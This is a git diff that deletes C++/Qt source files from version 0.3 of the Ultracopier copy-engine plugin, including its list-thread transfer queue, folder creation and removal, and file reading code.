- case TransferStat_PreOperation:
- return;
- break;
- case TransferStat_WaitForTheTransfer:
- return;
- break;
- case TransferStat_Transfer:
- newAction.type=Transfer;
- break;
- case TransferStat_PostTransfer:
- case TransferStat_PostOperation:
- newAction.type=PostOperation;
- break;
- case TransferStat_Checksum:
- newAction.type=CustomOperation;
- break;
- default:
- return;
- break;
- }
- newAction.addAction.id = id;
- actionDone << newAction;
-}
-
-void ListThread::set_osBufferLimit(unsigned int osBufferLimit)
-{
- this->osBufferLimit=osBufferLimit;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->set_osBufferLimit(osBufferLimit);
- index++;
- }
-}
-
-void ListThread::set_setFilters(QList<Filters_rules> include,QList<Filters_rules> exclude)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("include.size(): %1, exclude.size(): %2").arg(include.size()).arg(exclude.size()));
- this->include=include;
- this->exclude=exclude;
- int index=0;
- while(index<scanFileOrFolderThreadsPool.size())
- {
- scanFileOrFolderThreadsPool.at(index)->setFilters(include,exclude);
- index++;
- }
-}
-
-void ListThread::set_sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
-{
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
- emit send_sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
-}
-
-void ListThread::mkPathFirstFolderFinish()
-{
- int_for_loop=0;
- loop_size=actionToDoListInode.size();
- while(int_for_loop<loop_size)
- {
- if(actionToDoListInode.at(int_for_loop).type==ActionType_MkPath)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("stop mkpath: %1").arg(actionToDoListInode.at(int_for_loop).folder.absoluteFilePath()));
- actionToDoListInode.removeAt(int_for_loop);
- if(actionToDoListTransfer.size()==0 && actionToDoListInode.size()==0 && actionToDoListInode_afterTheTransfer.size()==0)
- updateTheStatus();
- numberOfInodeOperation--;
- doNewActions_inode_manipulation();
- return;
- }
- int_for_loop++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to found item into the todo list");
-}
-
-void ListThread::rmPathFirstFolderFinish()
-{
- int_for_loop=0;
- loop_size=actionToDoListInode.size();
- while(int_for_loop<loop_size)
- {
- if(actionToDoListInode.at(int_for_loop).type==ActionType_RmPath)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("stop rmpath: %1").arg(actionToDoListInode.at(int_for_loop).folder.absoluteFilePath()));
- actionToDoListInode.removeAt(int_for_loop);
- if(actionToDoListTransfer.size()==0 && actionToDoListInode.size()==0 && actionToDoListInode_afterTheTransfer.size()==0)
- updateTheStatus();
- numberOfInodeOperation--;
- doNewActions_inode_manipulation();
- return;
- }
- int_for_loop++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to found item into the todo list");
-}
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
-
-void ListThread::timedUpdateDebugDialog()
-{
- QStringList newList;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- QString stat;
- switch(transferThreadList.at(index)->getStat())
- {
- case TransferStat_Idle:
- stat="Idle";
- break;
- case TransferStat_PreOperation:
- stat="PreOperation";
- break;
- case TransferStat_WaitForTheTransfer:
- stat="WaitForTheTransfer";
- break;
- case TransferStat_Transfer:
- stat="Transfer";
- break;
- case TransferStat_PostOperation:
- stat="PostOperation";
- break;
- case TransferStat_PostTransfer:
- stat="PostTransfer";
- break;
- case TransferStat_Checksum:
- stat="Checksum";
- break;
- default:
- stat=QString("??? (%1)").arg(transferThreadList.at(index)->getStat());
- break;
- }
- newList << QString("%1) (%3,%4) %2")
- .arg(index)
- .arg(stat)
- .arg(transferThreadList.at(index)->readingLetter())
- .arg(transferThreadList.at(index)->writingLetter());
- index++;
- }
- QStringList newList2;
- index=0;
- loop_size=actionToDoListTransfer.size();
- while(index<loop_size)
- {
- newList2 << QString("%1 %2 %3")
- .arg(actionToDoListTransfer.at(index).source.absoluteFilePath())
- .arg(actionToDoListTransfer.at(index).size)
- .arg(actionToDoListTransfer.at(index).destination.absoluteFilePath());
- if(index>(actionToDoListTransfer.size()+2))
- {
- newList2 << QString("...");
- break;
- }
- index++;
- }
- emit updateTheDebugInfo(newList,newList2,numberOfInodeOperation);
-}
-
-#endif
-
-/// \note Can be call without queue because all call will be serialized
-void ListThread::fileAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame)
-{
- emit send_fileAlreadyExists(source,destination,isSame,qobject_cast<TransferThread *>(sender()));
-}
-
-/// \note Can be call without queue because all call will be serialized
-void ListThread::errorOnFile(const QFileInfo &fileInfo,const QString &errorString)
-{
- emit send_errorOnFile(fileInfo,errorString,qobject_cast<TransferThread *>(sender()));
-}
-
-/// \note Can be call without queue because all call will be serialized
-void ListThread::folderAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame)
-{
- emit send_folderAlreadyExists(source,destination,isSame,qobject_cast<scanFileOrFolder *>(sender()));
-}
-
-/// \note Can be call without queue because all call will be serialized
-/// \todo all this part
-void ListThread::errorOnFolder(const QFileInfo &fileInfo,const QString &errorString)
-{
- emit send_errorOnFolder(fileInfo,errorString,qobject_cast<scanFileOrFolder *>(sender()));
-}
-
-//to run the thread
-void ListThread::run()
-{
- exec();
-}
-
-/// \to create transfer thread
-void ListThread::createTransferThread()
-{
- if(stopIt)
- return;
- transferThreadList << new TransferThread();
- TransferThread * last=transferThreadList.last();
- last->transferId=0;
- last->transferSize=0;
- last->setRightTransfer(doRightTransfer);
- last->setKeepDate(keepDate);
- last->setBlockSize(blockSize);
- last->setDrive(drives);
- last->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
- last->setMaxSpeed(maxSpeed/ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER);
- last->set_doChecksum(doChecksum);
- last->set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
- last->set_checksumOnlyOnError(checksumOnlyOnError);
- last->set_osBuffer(osBuffer);
- last->set_osBufferLimited(osBufferLimited);
- last->set_osBufferLimit(osBufferLimit);
-
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- connect(last,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), Qt::QueuedConnection);
- #endif // ULTRACOPIER_PLUGIN_DEBUG
- connect(last,SIGNAL(errorOnFile(QFileInfo,QString)), this,SLOT(errorOnFile(QFileInfo,QString)), Qt::QueuedConnection);
- connect(last,SIGNAL(fileAlreadyExists(QFileInfo,QFileInfo,bool)), this,SLOT(fileAlreadyExists(QFileInfo,QFileInfo,bool)), Qt::QueuedConnection);
- connect(last,SIGNAL(tryPutAtBottom()), this,SLOT(transferPutAtBottom()), Qt::QueuedConnection);
- connect(last,SIGNAL(readStopped()), this,SLOT(transferIsFinished()), Qt::QueuedConnection);
- connect(last,SIGNAL(preOperationStopped()), this,SLOT(doNewActions_start_transfer()), Qt::QueuedConnection);
- connect(last,SIGNAL(postOperationStopped()), this,SLOT(transferInodeIsClosed()), Qt::QueuedConnection);
- connect(last,SIGNAL(checkIfItCanBeResumed()), this,SLOT(restartTransferIfItCan()), Qt::QueuedConnection);
- connect(last,SIGNAL(pushStat(TransferStat,quint64)), this,SLOT(newTransferStat(TransferStat,quint64)), Qt::QueuedConnection);
-
- connect(this,SIGNAL(send_sendNewRenamingRules(QString,QString)), last,SLOT(setRenamingRules(QString,QString)), Qt::QueuedConnection);
-
- last->start();
- last->setObjectName(QString("transfer %1").arg(transferThreadList.size()-1));
- last->setMkpathTransfer(&mkpathTransfer);
- last->setRenamingRules(firstRenamingRule,otherRenamingRule);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- last->setId(transferThreadList.size()-1);
- #endif
- if(transferThreadList.size()>=ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT)
- return;
- if(stopIt)
- return;
- doNewActions_inode_manipulation();
- emit askNewTransferThread();
-}
diff --git a/plugins/CopyEngine/Ultracopier-0.3/ListThread.h b/plugins/CopyEngine/Ultracopier-0.3/ListThread.h
deleted file mode 100755
index ef6b7f8..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/ListThread.h
+++ /dev/null
@@ -1,370 +0,0 @@
-/** \file ListThread.h
-\brief Define the list thread, and management to the action to do
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#ifndef LISTTHREAD_H
-#define LISTTHREAD_H
-
-#include <QThread>
-#include <QObject>
-#include <QList>
-#include <QStringList>
-#include <QFileInfo>
-#include <QSemaphore>
-#include <QTextStream>
-#include <QFile>
-
-#include "../../../interface/PluginInterface_CopyEngine.h"
-#include "scanFileOrFolder.h"
-#include "TransferThread.h"
-#include "MkPath.h"
-#include "RmPath.h"
-#include "Environment.h"
-
-/// \brief Define the list thread, and management to the action to do
-class ListThread : public QThread
-{
- Q_OBJECT
-public:
- explicit ListThread(FacilityInterface * facilityInterface);
- ~ListThread();
- //duplication copy detection
- /** \brief compare the current sources of the copy, with the passed arguments
- * \param sources the sources list to compares with the current sources list
- * \return true if have same sources, else false (or empty) */
- bool haveSameSource(QStringList sources);
- /** \brief compare the current destination of the copy, with the passed arguments
- * \param destination the destination to compares with the current destination
- * \return true if have same destination, else false (or empty) */
- bool haveSameDestination(QString destination);
- //external soft like file browser have send copy/move list to do
- /** \brief send copy with destination
- * \param sources the sources list to copy
- * \param destination the destination to copy
- * \return true if the copy have been accepted */
- bool newCopy(QStringList sources,QString destination);
- /** \brief send move without destination, ask the destination
- * \param sources the sources list to move
- * \param destination the destination to move
- * \return true if the move have been accepted */
- bool newMove(QStringList sources,QString destination);
- /** \brief get the speed limitation
- * < -1 if not able, 0 if disabled */
- qint64 getSpeedLimitation();
- /** \brief to set drives detected
- * specific to this copy engine */
- void setDrive(QStringList drives);
- /// \brief to set the collision action
- void setCollisionAction(FileExistsAction alwaysDoThisActionForFileExists);
- /** \brief to sync the transfer list
- * Used when the interface is changed, useful to minimize the memory size */
- void syncTransferList();
- /// \brief to store one action to do
- struct actionToDoTransfer
- {
- quint64 id;
- qint64 size;///< Used to set: used in case of transfer or remainingInode for drop folder
- QFileInfo source;///< Used to set: source for transfer, folder to create, folder to drop
- QFileInfo destination;
- CopyMode mode;
- bool isRunning;///< store if the action si running
- //TransferThread * transfer; // -> see transferThreadList
- };
- QList<actionToDoTransfer> actionToDoListTransfer;
- /// \brief get action type
- enum ActionType
- {
- ActionType_MkPath=1,
- ActionType_RmPath=2
- };
- /// \brief to store one action to do
- struct actionToDoInode
- {
- ActionType type;///< \see ActionType
- quint64 id;
- qint64 size;///< Used to set: used in case of transfer or remainingInode for drop folder
- QFileInfo folder;///< Used to set: source for transfer, folder to create, folder to drop
- bool isRunning;///< store if the action si running
- };
- QList<actionToDoInode> actionToDoListInode;
- QList<actionToDoInode> actionToDoListInode_afterTheTransfer;
- int numberOfInodeOperation;
- //dir operation thread queue
- MkPath mkPathQueue;
- RmPath rmPathQueue;
- //to get the return value from copyEngine
- bool getReturnBoolToCopyEngine();
- QPair<quint64,quint64> getReturnPairQuint64ToCopyEngine();
- ItemOfCopyList getReturnItemOfCopyListToCopyEngine();
-
- void set_doChecksum(bool doChecksum);
- void set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible);
- void set_checksumOnlyOnError(bool checksumOnlyOnError);
- void set_osBuffer(bool osBuffer);
- void set_osBufferLimited(bool osBufferLimited);
-public slots:
- //action on the copy
- /// \brief put the transfer in pause
- void pause();
- /// \brief resume the transfer
- void resume();
- /** \brief skip one transfer entry
- * \param id id of the file to remove */
- void skip(const quint64 &id);
- /** \brief skip as interanl one transfer entry
- * \param id id of the file to remove */
- bool skipInternal(const quint64 &id);
- /// \brief cancel all the transfer
- void cancel();
- //edit the transfer list
- /** \brief remove the selected item
- * \param ids ids is the id list of the selected items */
- void removeItems(const QList<int> &ids);
- /** \brief move on top of the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsOnTop(QList<int> ids);
- /** \brief move up the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsUp(QList<int> ids);
- /** \brief move down the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsDown(QList<int> ids);
- /** \brief move on bottom of the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsOnBottom(QList<int> ids);
-
- /** \brief give the forced mode, to export/import transfer list */
- void forceMode(const CopyMode &mode);
- /// \brief export the transfer list into a file
- void exportTransferList(const QString &fileName);
- /// \brief import the transfer list into a file
- void importTransferList(const QString &fileName);
-
- /// \brief set the folder local colision
- void setFolderColision(FolderExistsAction alwaysDoThisActionForFolderExists);
- /** \brief to set the speed limitation
- * -1 if not able, 0 if disabled */
- bool setSpeedLimitation(const qint64 &speedLimitation);
- /// \brief set the copy info and options before runing
- void setRightTransfer(const bool doRightTransfer);
- /// \brief set keep date
- void setKeepDate(const bool keepDate);
- /// \brief set block size in KB
- void setBlockSize(const int blockSize);
- /// \brief set auto start
- void setAutoStart(const bool autoStart);
- /// \brief set check destination folder
- void setCheckDestinationFolderExists(const bool checkDestinationFolderExists);
- /// \brief set data local to the thread
- void setAlwaysFileExistsAction(FileExistsAction alwaysDoThisActionForFileExists);
- /// \brief do new actions, start transfer
- void doNewActions_start_transfer();
- /** \brief lunch the pre-op or inode op
- 1) locate the next next item to do into the both list
- 1a) optimisation posible on the mkpath/rmpath
- 2) determine what need be lunched
- 3) lunch it, rerun the 2)
- */
- void doNewActions_inode_manipulation();
- /// \brief restart transfer if it can
- void restartTransferIfItCan();
-
- /// \brief update the transfer stat
- void newTransferStat(TransferStat stat,quint64 id);
-
- void set_osBufferLimit(unsigned int osBufferLimit);
- void set_setFilters(QList<Filters_rules> include,QList<Filters_rules> exclude);
- void set_sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
-
- //send action done
- void sendActionDone();
- //send progression
- void sendProgression();
-private:
- QSemaphore mkpathTransfer;
- QString sourceDrive;
- bool sourceDriveMultiple;
- bool stopIt;
- QString destinationDrive;
- bool destinationDriveMultiple;
- QList<scanFileOrFolder *> scanFileOrFolderThreadsPool;
- int numberOfTransferIntoToDoList;
- QList<TransferThread *> transferThreadList;
- scanFileOrFolder * newScanThread(CopyMode mode);
- quint64 bytesToTransfer;
- quint64 bytesTransfered;
- bool autoStart;
- bool putInPause;
- QList<returnActionOnCopyList> actionDone;///< to action to send to the interface
- quint64 idIncrementNumber;///< to store the last id returned
- qint64 actualRealByteTransfered;
- int preOperationNumber;
- int numberOfTranferRuning;
- int maxSpeed;///< in KB/s, assume as 0KB/s as default like every where
- FolderExistsAction alwaysDoThisActionForFolderExists;
- bool checkDestinationFolderExists;
- bool doChecksum;
- bool checksumIgnoreIfImpossible;
- bool checksumOnlyOnError;
- bool osBuffer;
- bool osBufferLimited;
- unsigned int osBufferLimit;
- QList<Filters_rules> include,exclude;
- CopyMode mode;
- bool forcedMode;
- QString firstRenamingRule;
- QString otherRenamingRule;
-
- //add file transfer to do
- quint64 addToTransfer(const QFileInfo& source,const QFileInfo& destination,const CopyMode& mode);
- //generate id number
- quint64 generateIdNumber();
- //warning the first entry is accessible will copy
- bool removeItems(quint64 id);
- //put on top
- bool moveOnTopItem(quint64 id);
- //move up
- bool moveUpItem(quint64 id);
- //move down
- bool moveDownItem(quint64 id);
- //put on bottom
- bool moveOnBottomItem(quint64 id);
- //general transfer
- void startGeneralTransfer();
- //debug windows if needed
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- QTimer timerUpdateDebugDialog;
- #endif
- FacilityInterface * facilityInterface;
- //temp variable for not always alocate the memory
- int int_for_loop,int_for_internal_loop,int_for_transfer_thread_search,loop_size,loop_sub_size,loop_sub_size_transfer_thread_search,number_rm_path_moved;
- TransferThread *temp_transfer_thread;
- bool isFound;
- bool updateTheStatus_listing,updateTheStatus_copying;
- EngineActionInProgress updateTheStatus_action_in_progress;
- QSemaphore waitConstructor,waitCancel;
- int actionToDoListTransfer_count,actionToDoListInode_count;
- bool doTransfer,doInode;
- qint64 oversize;//used as temp variable
- qint64 currentProgression;
- qint64 copiedSize,totalSize,localOverSize;
- QList<ProgressionItem> progressionList;
- TransferThread* currentTransferThread;
- //memory variable for transfer thread creation
- bool doRightTransfer;
- bool keepDate;
- int blockSize;
- QStringList drives;
- FileExistsAction alwaysDoThisActionForFileExists;
- //to return value to the copyEngine
- bool returnBoolToCopyEngine;
- QPair<quint64,quint64> returnPairQuint64ToCopyEngine;
- QList<ItemOfCopyList> returnListItemOfCopyListToCopyEngine;
- ItemOfCopyList returnItemOfCopyListToCopyEngine;
- ProgressionItem tempItem;
-
- void realByteTransfered();
-private slots:
- void scanThreadHaveFinish(bool skipFirstRemove=false);
- void updateTheStatus();
- void fileTransfer(const QFileInfo &sourceFileInfo,const QFileInfo &destinationFileInfo,const CopyMode &mode);
- //mkpath event
- void mkPathFirstFolderFinish();
- //rmpath event
- void rmPathFirstFolderFinish();
- //transfer is finished
- void transferIsFinished();
- /** \brief put the current file at bottom in case of error
- \note ONLY IN CASE OF ERROR */
- void transferPutAtBottom();
- //transfer is finished
- void transferInodeIsClosed();
- //debug windows if needed
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- void timedUpdateDebugDialog();
- #endif
- //dialog message
- /// \note Can be call without queue because all call will be serialized
- void fileAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame);
- /// \note Can be call without queue because all call will be serialized
- void errorOnFile(const QFileInfo &fileInfo,const QString &errorString);
- /// \note Can be call without queue because all call will be serialized
- void folderAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame);
- /// \note Can be call without queue because all call will be serialized
- void errorOnFolder(const QFileInfo &fileInfo,const QString &errorString);
- //to run the thread
- void run();
- /// \to create transfer thread
- void createTransferThread();
- //mk path to do
- quint64 addToMkPath(const QString& folder);
- //add rm path to do
- void addToRmPath(const QString& folder,const int& inodeToRemove);
- //send the progression, after full reset of the interface (then all is empty)
- void syncTransferList_internal();
-signals:
- //send information about the copy
- void actionInProgess(EngineActionInProgress); //should update interface information on this event
-
- void newActionOnList(const QList<returnActionOnCopyList> &);///very important, need be temporized to group the modification to do and not flood the interface
- void syncReady();
-
- /** \brief to get the progression for a specific file
- * \param id the id of the transfer, id send during population the transfer list
- * first = current transfered byte, second = byte to transfer */
- void pushFileProgression(const QList<ProgressionItem> &progressionList);
- //get information about the copy
- /** \brief to get the general progression
- * first = current transfered byte, second = byte to transfer */
- void pushGeneralProgression(const quint64 &,const quint64 &);
-
- void newFolderListing(const QString &path);
- void newCollisionAction(QString action);
- void newErrorAction(QString action);
- void isInPause(bool);
-
- //when can be deleted
- void canBeDeleted();
-
- //send error occurred
- void error(QString path,quint64 size,QDateTime mtime,QString error);
- //for the extra logging
- void rmPath(QString path);
- void mkPath(QString path);
- /// \brief To debug source
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- void updateTheDebugInfo(QStringList,QStringList,int);
- #endif
-
- //other signal
- /// \note Can be call without queue because all call will be serialized
- void send_fileAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,TransferThread * thread);
- /// \note Can be call without queue because all call will be serialized
- void send_errorOnFile(QFileInfo fileInfo,QString errorString,TransferThread * thread);
- /// \note Can be call without queue because all call will be serialized
- void send_folderAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,scanFileOrFolder * thread);
- /// \note Can be call without queue because all call will be serialized
- void send_errorOnFolder(QFileInfo fileInfo,QString errorString,scanFileOrFolder * thread);
- //send the progression
- void send_syncTransferList();
- //mkpath error event
- void mkPathErrorOnFolder(QFileInfo fileInfo,QString errorString);
- //rmpath error event
- void rmPathErrorOnFolder(QFileInfo fileInfo,QString errorString);
- //to close
- void tryCancel();
- //to ask new transfer thread
- void askNewTransferThread();
-
- void warningTransferList(QString warning);
- void errorTransferList(QString error);
- void send_sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
- void send_realBytesTransfered(quint64);
-};
-
-#endif // LISTTHREAD_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/ListThread_InodeAction.cpp b/plugins/CopyEngine/Ultracopier-0.3/ListThread_InodeAction.cpp
deleted file mode 100644
index 0f4c2f4..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/ListThread_InodeAction.cpp
+++ /dev/null
@@ -1,58 +0,0 @@
-/** \file ListThread_InodeAction.cpp
-\brief To be included into ListThread.cpp, to optimize and prevent code duplication
-\see ListThread.cpp
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#ifdef LISTTHREAD_H
-
-//do the inode action
-actionToDoInode& currentActionToDoInode=actionToDoListInode[int_for_internal_loop];
-switch(currentActionToDoInode.type)
-{
-case ActionType_MkPath:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("launch mkpath: %1").arg(currentActionToDoInode.folder.absoluteFilePath()));
- mkPathQueue.addPath(currentActionToDoInode.folder.absoluteFilePath());
- currentActionToDoInode.isRunning=true;
- numberOfInodeOperation++;
- if(numberOfInodeOperation>=ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT)
- return;
-break;
-case ActionType_RmPath:
-/* What is this code?
- if((int_for_loop+number_rm_path_moved)>=(loop_size-1))
- {
- if(numberOfTranferRuning)
- break;
- else
- currentActionToDoInode.size=0;
- }*/
- //then empty (no file), can try remove it
- if(true)//currentActionToDoInode.size==0
- {
- if(numberOfTranferRuning>0)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("skipped because already inode = 0 and transfer is running: %1").arg(currentActionToDoInode.folder.absoluteFilePath()));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("launch rmpath: %1").arg(currentActionToDoInode.folder.absoluteFilePath()));
- rmPathQueue.addPath(currentActionToDoInode.folder.absoluteFilePath());
- currentActionToDoInode.isRunning=true;
- numberOfInodeOperation++;
- if(numberOfInodeOperation>=ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT)
- return;
- }
- else //have not finish all the transfer into it, do it later
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"should never pass here");
- /*actionToDoListInode.move(int_for_internal_loop,actionToDoListInode_count-1);
- currentActionToDoInode.id=generateIdNumber();
- number_rm_path_moved++;
- currentActionToDoInode.size=0;
- continue;*/
- }
-break;
-default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Wrong type at inode action"));
- return;
-}
-
-#endif
diff --git a/plugins/CopyEngine/Ultracopier-0.3/MkPath.cpp b/plugins/CopyEngine/Ultracopier-0.3/MkPath.cpp
deleted file mode 100644
index dd71231..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/MkPath.cpp
+++ /dev/null
@@ -1,100 +0,0 @@
-#include "MkPath.h"
-
-MkPath::MkPath()
-{
- stopIt=false;
- waitAction=false;
- setObjectName("MkPath");
- moveToThread(this);
- start();
-}
-
-MkPath::~MkPath()
-{
- stopIt=true;
- quit();
- wait();
-}
-
-void MkPath::addPath(const QString &path)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+path);
- if(stopIt)
- return;
- emit internalStartAddPath(path);
-}
-
-void MkPath::skip()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit internalStartSkip();
-}
-
-void MkPath::retry()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit internalStartRetry();
-}
-
-void MkPath::run()
-{
- connect(this,SIGNAL(internalStartAddPath(QString)),this,SLOT(internalAddPath(QString)),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartDoThisPath()),this,SLOT(internalDoThisPath()),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartSkip()),this,SLOT(internalSkip()),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartRetry()),this,SLOT(internalRetry()),Qt::QueuedConnection);
- exec();
-}
-
-void MkPath::internalDoThisPath()
-{
- if(waitAction || pathList.isEmpty())
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+pathList.first());
- if(!dir.exists(pathList.first()))
- if(!dir.mkpath(pathList.first()))
- {
- if(!dir.exists(pathList.first()))
- {
- if(stopIt)
- return;
- waitAction=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to remove the folder: "+pathList.first());
- emit errorOnFolder(pathList.first(),tr("Unable to create the folder"));
- return;
- }
- }
- pathList.removeFirst();
- emit firstFolderFinish();
- checkIfCanDoTheNext();
-}
-
-void MkPath::internalAddPath(const QString &path)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+path);
- pathList << path;
- if(!waitAction)
- checkIfCanDoTheNext();
-}
-
-void MkPath::checkIfCanDoTheNext()
-{
- if(!waitAction && !stopIt && pathList.size()>0)
- emit internalStartDoThisPath();
-}
-
-void MkPath::internalSkip()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- waitAction=false;
- pathList.removeFirst();
- emit firstFolderFinish();
- checkIfCanDoTheNext();
-}
-
-void MkPath::internalRetry()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- waitAction=false;
- checkIfCanDoTheNext();
-}
-
diff --git a/plugins/CopyEngine/Ultracopier-0.3/MkPath.h b/plugins/CopyEngine/Ultracopier-0.3/MkPath.h
deleted file mode 100644
index 5d00d60..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/MkPath.h
+++ /dev/null
@@ -1,56 +0,0 @@
-/** \file MkPath.h
-\brief Make the path given as queued mkpath
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#ifndef MKPATH_H
-#define MKPATH_H
-
-#include <QThread>
-#include <QFileInfo>
-#include <QString>
-#include <QSemaphore>
-#include <QStringList>
-#include <QDir>
-
-#include "Environment.h"
-
-/// \brief Make the path given as queued mkpath
-class MkPath : public QThread
-{
- Q_OBJECT
-public:
- explicit MkPath();
- ~MkPath();
- /// \brief add path to make
- void addPath(const QString &path);
-signals:
- void errorOnFolder(const QFileInfo &,const QString &);
- void firstFolderFinish();
- void internalStartAddPath(const QString &path);
- void internalStartDoThisPath();
- void internalStartSkip();
- void internalStartRetry();
- void debugInformation(const DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne);
-public slots:
- /// \brief skip after creation error
- void skip();
- /// \brief retry after creation error
- void retry();
-private:
- void run();
- bool waitAction;
- bool stopIt;
- bool skipIt;
- QStringList pathList;
- void checkIfCanDoTheNext();
- QDir dir;
-private slots:
- void internalDoThisPath();
- void internalAddPath(const QString &path);
- void internalSkip();
- void internalRetry();
-};
-
-#endif // MKPATH_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/ReadThread.cpp b/plugins/CopyEngine/Ultracopier-0.3/ReadThread.cpp
deleted file mode 100644
index 3c7bfc1..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/ReadThread.cpp
+++ /dev/null
@@ -1,597 +0,0 @@
-#include "ReadThread.h"
-
-ReadThread::ReadThread()
-{
- start();
- moveToThread(this);
- stopIt=false;
- putInPause=false;
- blockSize=1024*1024;
- setObjectName("read");
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- isInReadLoop=false;
- tryStartRead=false;
- isOpen.release();
-}
-
-ReadThread::~ReadThread()
-{
- stopIt=true;
- disconnect(this);
- waitNewClockForSpeed.release();
- isOpen.acquire();
- exit();
- wait();
-}
-
-void ReadThread::run()
-{
- connect(this,SIGNAL(internalStartOpen()), this,SLOT(internalOpen()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartReopen()), this,SLOT(internalReopen()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartRead()), this,SLOT(internalRead()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartClose()), this,SLOT(internalClose()), Qt::QueuedConnection);
- connect(this,SIGNAL(checkIfIsWait()), this,SLOT(isInWait()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartChecksum()), this,SLOT(checkSum()), Qt::QueuedConnection);
- exec();
-}
-
-void ReadThread::open(const QString &name,const CopyMode &mode)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] open source: "+name);
- if(file.isOpen())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] previous file is already open: "+file.fileName()+", try open: "+this->name);
- return;
- }
- if(isInReadLoop)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] previous file is already readding: "+file.fileName()+", try open: "+this->name);
- return;
- }
- if(tryStartRead)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] previous file is already try read: "+file.fileName()+", try open: "+this->name);
- return;
- }
- fakeMode=false;
- this->name=name;
- this->mode=mode;
- emit internalStartOpen();
-}
-
-QString ReadThread::errorString()
-{
- return errorString_internal;
-}
-
-void ReadThread::stop()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] stop()");
- stopIt=true;
- if(isOpen.available()>0)
- return;
- emit internalStartClose();
-}
-
-bool ReadThread::pause()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] try put read thread in pause");
